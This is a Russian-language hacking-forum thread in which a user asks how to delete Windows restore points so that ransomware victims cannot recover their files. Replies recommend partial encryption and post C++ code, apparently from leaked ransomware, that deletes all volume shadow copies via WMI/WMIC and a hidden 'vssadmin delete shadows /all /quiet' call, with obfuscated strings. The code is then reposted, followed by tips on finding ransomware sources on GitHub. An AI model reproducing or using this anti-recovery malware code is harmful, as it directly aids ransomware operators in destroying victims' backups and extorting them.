У кого был опыт создания ransomware, подскажите пж как удалить точку восстановления чтобы юзер не смог восстановить файлы
Не лучшее решение! Уж лучше шифровать чем удалять.У кого был опыт создания ransomware, подскажите пж как удалить точку восстановления чтобы юзер не смог восстановить файлы
И не полностью, а частями )Не лучшее решение! Уж лучше шифровать чем удалять.
Тебе в принципе уже дал ссылку хранитель. Но почему тебе просто не посмотреть исходники слитые?У кого был опыт создания ransomware, подскажите пж как удалить точку восстановления чтобы юзер не смог восстановить файлы
BOOL
locker::DeleteShadowCopies()
{
HRESULT hres;
// Step 1: --------------------------------------------------
// Initialize COM. ------------------------------------------
hres = (HRESULT)pCoInitializeEx(0, COINIT_MULTITHREADED);
if (FAILED(hres))
{
return FALSE; // Program has failed.
}
// Step 2: --------------------------------------------------
// Set general COM security levels --------------------------
hres = (HRESULT)pCoInitializeSecurity(
NULL,
-1, // COM authentication
NULL, // Authentication services
NULL, // Reserved
RPC_C_AUTHN_LEVEL_DEFAULT, // Default authentication
RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation
NULL, // Authentication info
EOAC_NONE, // Additional capabilities
NULL // Reserved
);
if (FAILED(hres))
{
pCoUninitialize();
return FALSE; // Program has failed.
}
// Step 3: ---------------------------------------------------
// Obtain the initial locator to WMI -------------------------
IWbemLocator* pLoc = NULL;
hres = (HRESULT)pCoCreateInstance(
CLSID_WbemLocator,
0,
CLSCTX_INPROC_SERVER,
IID_IWbemLocator, (LPVOID*)&pLoc);
IWbemContext* pContext = NULL;
SYSTEM_INFO SysInfo;
pGetNativeSystemInfo(&SysInfo);
if (SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) {
hres = (HRESULT)pCoCreateInstance(CLSID_WbemContext, 0, CLSCTX_INPROC_SERVER, IID_IWbemContext, (LPVOID*)&pContext);
if (FAILED(hres))
{
pCoUninitialize();
return FALSE;
}
BSTR Arch = pSysAllocString(OBFW(L"__ProviderArchitecture"));
VARIANT vArchitecture;
pVariantInit(&vArchitecture);
V_VT(&vArchitecture) = VT_I4;
V_INT(&vArchitecture) = 64;
hres = pContext->SetValue(Arch, 0, &vArchitecture);
pVariantClear(&vArchitecture);
if (FAILED(hres))
{
pCoUninitialize();
return FALSE; // Program has failed.
}
}
// Step 4: -----------------------------------------------------
// Connect to WMI through the IWbemLocator::ConnectServer method
IWbemServices* pSvc = NULL;
// Connect to the root\cimv2 namespace with
// the current user and obtain pointer pSvc
// to make IWbemServices calls.
BSTR Path = pSysAllocString(OBFW(L"ROOT\\CIMV2"));
hres = pLoc->ConnectServer(
Path, // Object path of WMI namespace
NULL, // User name. NULL = current user
NULL, // User password. NULL = current
0, // Locale. NULL indicates current
NULL, // Security flags.
0, // Authority (for example, Kerberos)
pContext, // Context object
&pSvc // pointer to IWbemServices proxy
);
if (FAILED(hres))
{
pLoc->Release();
pCoUninitialize();
return FALSE; // Program has failed.
}
// Step 5: --------------------------------------------------
// Set security levels on the proxy -------------------------
hres = (HRESULT)pCoSetProxyBlanket(
pSvc, // Indicates the proxy to set
RPC_C_AUTHN_WINNT, // RPC_C_AUTHN_xxx
RPC_C_AUTHZ_NONE, // RPC_C_AUTHZ_xxx
NULL, // Server principal name
RPC_C_AUTHN_LEVEL_CALL, // RPC_C_AUTHN_LEVEL_xxx
RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx
NULL, // client identity
EOAC_NONE // proxy capabilities
);
if (FAILED(hres))
{
pSvc->Release();
pLoc->Release();
pCoUninitialize();
return FALSE; // Program has failed.
}
// Step 6: --------------------------------------------------
// Use the IWbemServices pointer to make requests of WMI ----
// For example, get the name of the operating system
BSTR WqlStr = pSysAllocString(OBFW(L"WQL"));
BSTR Query = pSysAllocString(OBFW(L"SELECT * FROM Win32_ShadowCopy"));
IEnumWbemClassObject* pEnumerator = NULL;
hres = pSvc->ExecQuery(
WqlStr,
Query,
WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
NULL,
&pEnumerator);
if (FAILED(hres))
{
pSvc->Release();
pLoc->Release();
pCoUninitialize();
return 1; // Program has failed.
}
// Step 7: -------------------------------------------------
// Get the data from the query in step 6 -------------------
IWbemClassObject* pclsObj = NULL;
ULONG uReturn = 0;
while (pEnumerator)
{
HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1,
&pclsObj, &uReturn);
if (0 == uReturn)
{
break;
}
VARIANT vtProp;
// Get the value of the Name property
hr = pclsObj->Get(OBFW(L"ID"), 0, &vtProp, 0, 0);
WCHAR CmdLine[1024];
RtlSecureZeroMemory(CmdLine, sizeof(CmdLine));
wsprintfW(CmdLine, OBFW(L"cmd.exe /c C:\\Windows\\System32\\wbem\\WMIC.exe shadowcopy where \"ID='%s'\" delete"), vtProp.bstrVal);
LPVOID Old;
pWow64DisableWow64FsRedirection(&Old);
CmdExecW(CmdLine);
pWow64RevertWow64FsRedirection(Old);
pVariantClear(&vtProp);
pclsObj->Release();
}
// Cleanup
// ========
if (pContext) {
pContext->Release();
}
pSvc->Release();
pLoc->Release();
pEnumerator->Release();
pCoUninitialize();
return TRUE;
}
void _remove_shadows() {
PVOID oldValue = 0;
if (IsWow64()) {
typedef BOOL(WINAPI* fnc)(PVOID*);
HMODULE lib = LoadLibraryA("kernel32.dll");
FARPROC addr = GetProcAddress(lib, "Wow64DisableWow64FsRedirection");
if (addr) ((fnc)addr)(&oldValue);
}
ShellExecuteW(0, L"open", L"cmd.exe", L"/c vssadmin.exe delete shadows /all /quiet", 0, SW_HIDE);
if (IsWow64()) {
typedef BOOL(WINAPI* fnc)(PVOID);
HMODULE lib = LoadLibraryA("kernel32.dll");
FARPROC addr = GetProcAddress(lib, "Wow64RevertWow64FsRedirection");
if (addr) ((fnc)addr)(oldValue);
}
}
Подскажи пожалуйста где берешь исходники эти?Тебе в принципе уже дал ссылку хранитель. Но почему тебе просто не посмотреть исходники слитые?
C++:BOOL locker::DeleteShadowCopies() { HRESULT hres; // Step 1: -------------------------------------------------- // Initialize COM. ------------------------------------------ hres = (HRESULT)pCoInitializeEx(0, COINIT_MULTITHREADED); if (FAILED(hres)) { return FALSE; // Program has failed. } // Step 2: -------------------------------------------------- // Set general COM security levels -------------------------- hres = (HRESULT)pCoInitializeSecurity( NULL, -1, // COM authentication NULL, // Authentication services NULL, // Reserved RPC_C_AUTHN_LEVEL_DEFAULT, // Default authentication RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation NULL, // Authentication info EOAC_NONE, // Additional capabilities NULL // Reserved ); if (FAILED(hres)) { pCoUninitialize(); return FALSE; // Program has failed. } // Step 3: --------------------------------------------------- // Obtain the initial locator to WMI ------------------------- IWbemLocator* pLoc = NULL; hres = (HRESULT)pCoCreateInstance( CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc); IWbemContext* pContext = NULL; SYSTEM_INFO SysInfo; pGetNativeSystemInfo(&SysInfo); if (SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) { hres = (HRESULT)pCoCreateInstance(CLSID_WbemContext, 0, CLSCTX_INPROC_SERVER, IID_IWbemContext, (LPVOID*)&pContext); if (FAILED(hres)) { pCoUninitialize(); return FALSE; } BSTR Arch = pSysAllocString(OBFW(L"__ProviderArchitecture")); VARIANT vArchitecture; pVariantInit(&vArchitecture); V_VT(&vArchitecture) = VT_I4; V_INT(&vArchitecture) = 64; hres = pContext->SetValue(Arch, 0, &vArchitecture); pVariantClear(&vArchitecture); if (FAILED(hres)) { pCoUninitialize(); return FALSE; // Program has failed. } } // Step 4: ----------------------------------------------------- // Connect to WMI through the IWbemLocator::ConnectServer method IWbemServices* pSvc = NULL; // Connect to the root\cimv2 namespace with // the current user and obtain pointer pSvc // to make IWbemServices calls. BSTR Path = pSysAllocString(OBFW(L"ROOT\\CIMV2")); hres = pLoc->ConnectServer( Path, // Object path of WMI namespace NULL, // User name. NULL = current user NULL, // User password. NULL = current 0, // Locale. NULL indicates current NULL, // Security flags. 0, // Authority (for example, Kerberos) pContext, // Context object &pSvc // pointer to IWbemServices proxy ); if (FAILED(hres)) { pLoc->Release(); pCoUninitialize(); return FALSE; // Program has failed. } // Step 5: -------------------------------------------------- // Set security levels on the proxy ------------------------- hres = (HRESULT)pCoSetProxyBlanket( pSvc, // Indicates the proxy to set RPC_C_AUTHN_WINNT, // RPC_C_AUTHN_xxx RPC_C_AUTHZ_NONE, // RPC_C_AUTHZ_xxx NULL, // Server principal name RPC_C_AUTHN_LEVEL_CALL, // RPC_C_AUTHN_LEVEL_xxx RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx NULL, // client identity EOAC_NONE // proxy capabilities ); if (FAILED(hres)) { pSvc->Release(); pLoc->Release(); pCoUninitialize(); return FALSE; // Program has failed. } // Step 6: -------------------------------------------------- // Use the IWbemServices pointer to make requests of WMI ---- // For example, get the name of the operating system BSTR WqlStr = pSysAllocString(OBFW(L"WQL")); BSTR Query = pSysAllocString(OBFW(L"SELECT * FROM Win32_ShadowCopy")); IEnumWbemClassObject* pEnumerator = NULL; hres = pSvc->ExecQuery( WqlStr, Query, WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator); if (FAILED(hres)) { pSvc->Release(); pLoc->Release(); pCoUninitialize(); return 1; // Program has failed. } // Step 7: ------------------------------------------------- // Get the data from the query in step 6 ------------------- IWbemClassObject* pclsObj = NULL; ULONG uReturn = 0; while (pEnumerator) { HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn); if (0 == uReturn) { break; } VARIANT vtProp; // Get the value of the Name property hr = pclsObj->Get(OBFW(L"ID"), 0, &vtProp, 0, 0); WCHAR CmdLine[1024]; RtlSecureZeroMemory(CmdLine, sizeof(CmdLine)); wsprintfW(CmdLine, OBFW(L"cmd.exe /c C:\\Windows\\System32\\wbem\\WMIC.exe shadowcopy where \"ID='%s'\" delete"), vtProp.bstrVal); LPVOID Old; pWow64DisableWow64FsRedirection(&Old); CmdExecW(CmdLine); pWow64RevertWow64FsRedirection(Old); pVariantClear(&vtProp); pclsObj->Release(); } // Cleanup // ======== if (pContext) { pContext->Release(); } pSvc->Release(); pLoc->Release(); pEnumerator->Release(); pCoUninitialize(); return TRUE; }
C++:void _remove_shadows() { PVOID oldValue = 0; if (IsWow64()) { typedef BOOL(WINAPI* fnc)(PVOID*); HMODULE lib = LoadLibraryA("kernel32.dll"); FARPROC addr = GetProcAddress(lib, "Wow64DisableWow64FsRedirection"); if (addr) ((fnc)addr)(&oldValue); } ShellExecuteW(0, L"open", L"cmd.exe", L"/c vssadmin.exe delete shadows /all /quiet", 0, SW_HIDE); if (IsWow64()) { typedef BOOL(WINAPI* fnc)(PVOID); HMODULE lib = LoadLibraryA("kernel32.dll"); FARPROC addr = GetProcAddress(lib, "Wow64RevertWow64FsRedirection"); if (addr) ((fnc)addr)(oldValue); } }
Да просто в гугл вбей "ransomware github" и найдешь все исходники и все поделки...Подскажи пожалуйста где берешь исходники эти?
Или просто гитхаб копать нужно?
Если можешь прикрепи линки